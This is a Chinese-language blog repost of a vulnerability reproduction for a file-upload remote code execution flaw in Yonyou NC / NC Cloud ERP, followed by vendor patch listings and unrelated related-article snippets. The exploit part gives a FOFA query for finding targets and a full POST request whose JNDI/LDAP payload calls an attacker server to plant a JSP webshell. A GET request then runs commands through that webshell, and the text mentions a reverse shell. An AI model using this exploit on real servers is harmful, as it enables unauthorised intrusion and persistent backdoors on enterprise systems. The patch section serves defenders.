用友NC uapjs RCE漏洞复现(CNVD-C-2023-76801)

news2024/11/26 14:32:13

0x01 产品简介

        用友NC是一款企业级ERP软件。作为一种信息化管理工具,用友NC提供了一系列业务管理模块,包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等,帮助企业实现数字化转型和高效管理。

0x02 漏洞概述

     用友NC及NC Cloud系统存在任意文件上传漏洞,攻击者可通过uapjs(jsinvoke)应用构造恶意请求非法上传后门程序,此漏洞可以给NC服务器预埋后门,从而可以随意操作服务器

0x03 影响范围

NC63、NC633、NC65、NC Cloud1903、NC Cloud1909、NC Cloud2005、NC Cloud2105、NC Cloud2111、YonBIP高级版2207

0x04 复现环境

 FOFA:app="用友-NC-Cloud"

 0x05 漏洞复现

 准备JNDI注入工具

 https://github.com/WhiteHSBG/JNDIExploit

  EXP:

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}","webapps/nc_web/jndi.jsp"]}

利用思路:调用”nc.itf.iufo.IBaseSPService“服务中的"saveXStreamConfig"的方法,来接受对象和字符串,使用Java反射机制创建了一个javax.naming.InitialContext对象,并通过LDAP协议连接到指定的IP地址和端口,最后在根目录生成jsp恶意后门程序

EXP中使用的是JNDI工具的TomcatEcho回显链

上传恶意文件

 开启ldap监听

 执行命令并回显

GET /jndi.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
cmd: whoami

反弹shell

 

 0x06 修复建议

打对应补丁,重启服务,各版本补丁获取方式如下:

NC63方案

补丁名称:NC63uapjs安全问题补丁

补丁编码:NCM_NC6.3_000_UAP_BTS_20230308_GP_268498360

https://dsp.yonyou.com/patchcenter/patchdetail/10231678268499522701/0/2

 

NC633方案

补丁名称:NC633uapjs安全问题补丁

补丁编码:NCM_NC6.33_000_UAP_BTS_20230308_GP_268527193

https://dsp.yonyou.com/patchcenter/patchdetail/10231678268528400707/0/2

 

NC65方案

补丁名称:NC65uapjs安全问题补丁

补丁编码:NCM_NC6.5_000_UAP_BTS_20230308_GP_269462199

https://dsp.yonyou.com/patchcenter/patchdetail/10231678269463403718/0/2

 

NCC1903方案

补丁名称:NCC1903uapjs安全问题补丁

补丁编码:NCM_NCCLOUD1903_10_UAP_BTS_20230308_GP_268560504

https://dsp.yonyou.com/patchcenter/patchdetail/11231678268561687890/0/2

NCC1909方案

补丁名称:NCC1909uapjs安全问题补丁

补丁编码:NCM_NCCLOUD1909_10_UAP_BTS_20230308_GP_268596672

https://dsp.yonyou.com/patchcenter/patchdetail/11231678268597774895/0/2

 

NCC2005方案

补丁名称:NCC2005uapjs安全问题补丁

补丁编码:NCM_NCCLOUD2020.05_10_UAP_BTS_20230308_GP_268622200

https://dsp.yonyou.com/patchcenter/patchdetail/10231678944167066463/0/2

 

NCC2105方案

补丁名称:NCC2105uapjs安全问题补丁

补丁编码:NCM_NCCLOUD2021.05_10_UAP_BTS_20230308_GP_268652747

https://dsp.yonyou.com/patchcenter/patchdetail/11231678268653876905/0/2

 

NCC2111方案

补丁名称:NCC2111uapjs安全问题补丁

补丁编码:NCM_NCCLOUD2021.11_010_UAP_BTS_20230308_GP_268680318

https://dsp.yonyou.com/patchcenter/patchdetail/11231678268681473910/0/2

 

YonBIP高级版2207方案

补丁名称:YonBIP高级版2207uapjs安全问题补丁

补丁编码:NCM_YONBIP高级2207_010_UAP_BTS_20230308_GP_267337472

https://dsp.yonyou.com/patchcenter/patchdetail/11231678267338650434/0/2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/701161.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Java+Vue前后端分离医学生在线学习交流平台设计实现(源码+lw+部署文档+讲解等)

博主介绍:✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专…

条件变量wait的另一种形式

flag.wait()里面可以有两个参数,第一个是锁,第二份一般是lambda表达式之类的谓词,其返回值一般是bool类型。 此时由于lambda表达式返回不为真,所以此时仍在等待。 此时lambda表达式就算正常的。

java学习记录之struts2注解校验ognl自定义拦截器

Result: 在struts中,Reuslt用于处理Action返回的结果.将我们之前在Servlet中耦合的功能代码.解耦了.将结果处理的代码封装到了Result中.Struts2已经预置了一些处理类.Dispatcher 转发Redirect 重定向redirectAction 重定向到一个Action(与redirect配合)plaintext 纯文本stream …

帆软report10.0,从人工智能到人工+智能,day1

前言: 最近在全基地推进品质CTQ,这个功能说实话在一年前已经开发完成了,中间修修补补,跌跌代代不下10-20版。看起来好像有点夸张吧。其实说实话,真正的BI系统用好,是需要业务人员和IT部门反复碰撞的。一年前…

volume 、namespace

顺带说一下 volume 和 namespace ,咱们就开始分享一下 service 是什么 volume 是什么 还记得 docker 的 volume 吗,是一个数据卷 在 K8S 中,volume 是 pod 中能够被多个容器访问的共享目录 ,实际上和 docker 是一样的 volume 是…

分享成为一个优秀的测试工程师需要具备哪些知识和经验?

根据我的观察,优秀的测试人员可以做的事情可以包括如下3点: 由单纯的测试变成项目质量保证工作 持续集成探索和推动和自动化测试技术研究 测试相关工具的开发 1、我们先来讲第一点,由单纯的测试变成项目质量保证工作 测试,从狭义…

versionOS开发笔记 01,如何在现有项目中启用 versionOS ?

visionOS 开发笔记 01,如何在现有项目中启用 visionOS ? 在 Targets 中的 Supportted Destinations 中增加 Apple Vision 然后在项目的 Run Destination 中选择 Apple Vision Pro 就可以了

python+selenium环境搭建(一)

pythonselenium自动化测试环境包括四个部分:python、selenium、chrome谷歌浏览器、chrome谷歌浏览器驱动。其中浏览器也可以是火狐,IE等。目前自动化的主流浏览器还是chrome谷歌浏览器。 1.python的安装 目前测试行业应用最广的编程语言当属Python为首…

【C++】—— 继承

序言: 在之前,我们已经完成了对 C 初阶的讲解。接下来,我将带领大家学习关于C 进阶的相关知识,而今天我给大家介绍的就是关于 C三大特性之一的——继承。 目录 (一)继承的概念及定义 1、继承的概念 2、…

git常用命令之log

10. log 10.1 查看log 命令作用延展阅读git log输出 commit hsitory with commit detailgit reflog输出 HEAD ref 的 reflog链接git log --oneline--oneline选项会把提交信息压缩输出在单行。默认情况下,只显示commit id和commit message的第一行内容。$ git log …

Kubernetes核心概念汇总—Kubernetes 组件

当你部署完 Kubernetes,便拥有了一个完整的集群。 一组工作机器,称为 节点, 会运行容器化应用程序。每个集群至少有一个工作节点。 工作节点会托管 Pod ,而 Pod 就是作为应用负载的组件。 控制平面管理集群中的工作节点和 Pod。 在…

应用服务器Application Server manual

Application Server manual Sun Java™ System Application ServerStart Default ServerServer is RunningAdmin Console Sun Java™ System Application Server 从事Java EE的研发很多年,竟然才知道Sun开发的Application Server,以及最新版本Glassfish…

解决Vue.js not detected的问题(Vue.js devtools变灰色)

今天在谷歌商店下载安装了Vue.js devtools,但是出现了图标是灰色,鼠标移过去是Vue.js not detected的问题 首先呢,要去找一个有vue.js写的网站,比如哔哩哔哩 (゜-゜)つロ 干杯~-bilibili 此时发现图标不再是灰色的,也不出现Vue.js…

@SuppressWarnings注解的作用

一、问题由来 我们在写代码的时候,不论是导入的包,还是声明的对象,有时候会出现黄线,感觉就很难受! SuppressWarnings注解主要用在取消一些编译器产生的警告对代码左侧行列的遮挡,有时候这会挡住我们断点…

Apache数据库项目盘点

著名的开源软件组织 Apache 软件基金会目前维护着 300 多个活跃项目,其中包含不少数据库相关的项目,本文简单介绍一下这些开源项目。 Apache AGE Apache AGE 是一个基于 PostgreSQL 的图数据库,目标是为所有关系型数据库提供图数据处理和分…

漏洞复现|Kyan密码泄露/命令执行漏洞

0x01阅读须知 所有发布的技术文章仅供参考,未经授权请勿利用文章中的技术内容对任何计算机系统进行入侵操作,否则对他人或单位而造成的直接或间接后果和损失,均由使用者本人负责。 郑重声明:本文所提供的工具与思路仅用于学习与…

Java【异常】

异常 1. 异常概念程序开发中常见异常 2. 异常的体系结构2.1 异常体系核心父类异常的另外划分模式 3. 异常的处理流程3.1 异常的捕获并处理try-catch-finally代码块组合一:try catch组合二:finally代码块finally不执行的特殊情况 3.2 throw 和 throws3.3 …

8 系统定时器(Systick)(STM32HAL库)

目录 系统定时器(Systick) SysTick定时器特性介绍 SysTick定时器的功能 SysTick定时器寄存器介绍 Systick定时器的使用 系统定时器(Systick) SysTick定时器特性介绍 计数宽度: 24bit来存储数据,2^24…

Spring高手之路7——事件机制与监听器的全面探索

文章目录 1. Spring中的观察者模式2. 监听器2.1 实现ApplicationListener接口创建监听器2.2 EventListener注解创建监听器2.3 对比ApplicationListener接口和EventListener注解的创建方式 3. Spring的事件机制3.1 ApplicationEvent3.2 ApplicationContextEvent3.3 ContextRefre…

基于weka平台手工实现(LinearRegression | Ridge Regression,岭回归)

一、普通的线性回归 线性回归主要采用最小二乘法来实现,主要思想如下: X ( x 11 x 12 ⋯ x 1 d 1 x 21 x 22 ⋯ 5 1 ⋮ ⋮ ⋱ ⋮ ⋮ x m 1 x m 2 ⋯ x m d 1 ) X\left( \begin{matrix} x_{11} & x_{12} & \cdots & x_{1d} & 1 \\ x_{2…